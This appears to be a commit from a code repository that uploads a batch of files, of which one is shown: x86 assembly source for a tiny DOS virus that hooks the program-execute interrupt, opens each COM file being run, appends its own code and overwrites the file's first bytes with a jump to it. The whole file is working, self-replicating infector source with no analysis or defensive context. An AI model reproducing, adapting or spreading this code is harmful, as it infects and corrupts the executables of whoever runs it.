Add files via upload

2026-06-15 15:29:23 +00:00 · 2021-01-12 18:01:59 -06:00
parent 5dd4938a52
commit 3e7d2e8262
99 changed files with 45150 additions and 0 deletions
@@ -0,0 +1,94 @@
+VSize=085h
+
+Code            Segment
+                Assume  CS:Code
+                org     0
+                db      4Dh
+                jmp     Start
+
+                Org     600h
+
+Bytes           db      0CDh,20h,90h,90h
+
+Start:          mov     si, 0100h
+                mov     bx, offset Int21
+                mov     cx, 0050h
+                mov     di, si
+                add     si, [si+2]
+                push    di
+                movsw
+                movsw
+                mov     es, cx
+                cmpsb
+                je      StartFile
+                dec     si
+                dec     di
+        rep     movsw
+                mov     es, cx
+                xchg    ax, bx
+                xchg    ax, cx
+Loop0:          xchg    ax, cx
+                xchg    ax, word ptr es:[di-120h]
+                stosw
+                jcxz    Loop0
+                xchg    ax, bx
+StartFile:
+                push    ds
+                pop     es
+                ret
+
+Int21:          cmp     ax, 4B00h
+                jne     End21
+Exec:           push    ax 
+                push    bx 
+                push    dx
+                push    ds
+                push    es
+                mov     ax, 3D02h
+                call    DoInt21
+                jc      EndExec
+                cbw                     ;Zero AH
+                cwd                     ;Zero DX
+                mov     bx, si          ;Move handle to BX
+                mov     ds, ax          ;Set DS and ES to 60h,
+                mov     es, ax          ;the virus data segment
+                mov     ah, 3Fh         ;Read first 4 bytes
+                int     69h
+                mov     al, 4Dh
+                scasb                   ;Check for 4D5Ah or infected file mark
+                je      Close           ;.EXE or already infected
+                mov     al, 2
+                call    LSeek       ;Seek to the end, SI now contains file size
+                mov     cl, VSize       ;Virus size in CX, prepare to write
+                int     69h             ;AH is 40h, i.e. Write operation
+                mov     ax, 0E94Dh      ;Virus header in AX
+                stosw                   ;Store it
+                xchg    ax, si          ;Move file size in AX
+                stosw                   ;Complete JMP instruction
+                xchg    ax, dx          ;Zero AX
+                call    LSeek           ;Seek to the beginning
+                int     69h             ;AH is 40h, write the virus header
+Close:          mov     ah,3Eh          ;Close the file
+                int     69h
+EndExec:        pop     es 
+                pop     ds
+                pop     dx
+                pop     bx
+                pop     ax
+End21:          jmp     dword ptr cs:[69h * 4]
+
+LSeek:          mov     ah, 42h         ;Seek operation
+                cwd                     ;Zero DX
+DoInt21:        xor     cx, cx          ;External entry for Open, zero cx
+                int     69h
+                mov     cl, 4           ;4 bytes will be read/written
+                xchg    ax, si          ;Store AX in SI
+                mov     ax, 4060h       ;Prepare AH for Write
+                xor     di, di          ;Zero DI
+                ret
+
+VLen = $ - offset Bytes
+
+Code    EndS
+End
+